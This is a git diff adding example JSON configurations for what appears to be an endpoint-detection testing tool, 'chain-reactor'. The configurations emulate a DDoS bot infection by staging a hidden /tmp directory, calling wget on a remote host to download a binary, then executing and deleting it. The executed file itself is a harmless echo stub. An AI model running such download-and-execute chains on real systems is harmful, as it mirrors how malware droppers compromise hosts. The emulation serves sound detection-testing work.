diff --git a/examples/ddos_bot/atoms.json b/examples/ddos_bot/atoms.json new file mode 100644 index 0000000..92c00ae --- /dev/null +++ b/examples/ddos_bot/atoms.json @@ -0,0 +1,22 @@ +[ + { + "name": "DELETE-BOT", + "remove": [ "/tmp/.reaction/x86_64", "/tmp/.reaction" ] + }, + { + "name": "DOWNLOAD-BOT", + "fork-and-rename": [ "wget", "http://4.4.2.2/Simps/x86_64", "-o", "/tmp/.reaction/x86_64" ], + "file-create": { "path": "x86_64", "data": "#!/bin/sh\necho 'chain-reactor DDoS Botnet test'\n", "backup-and-revert": false }, + "chmod": { "path": "x86_64", "mode": "755" }, + "copy": [ "x86_64", "/tmp/.reaction/x86_64" ], + "remove": [ "x86_64" ] + }, + { + "name": "EXECUTE-BOT", + "execve": [ "/tmp/.reaction/x86_64", "exit" ] + }, + { + "name": "STAGE-DIRECTORY", + "execve": [ "mkdir", "-p", "/tmp/.reaction" ] + } +] diff --git a/examples/ddos_bot/generic_ddos_bot_reaction.json b/examples/ddos_bot/generic_ddos_bot_reaction.json new file mode 100644 index 0000000..aa02bf9 --- /dev/null +++ b/examples/ddos_bot/generic_ddos_bot_reaction.json @@ -0,0 +1,9 @@ +{ + "name": "generic_ddos_bot", + "atoms": [ + "STAGE-DIRECTORY", + "DOWNLOAD-BOT", + "EXECUTE-BOT", + "DELETE-BOT" + ] +}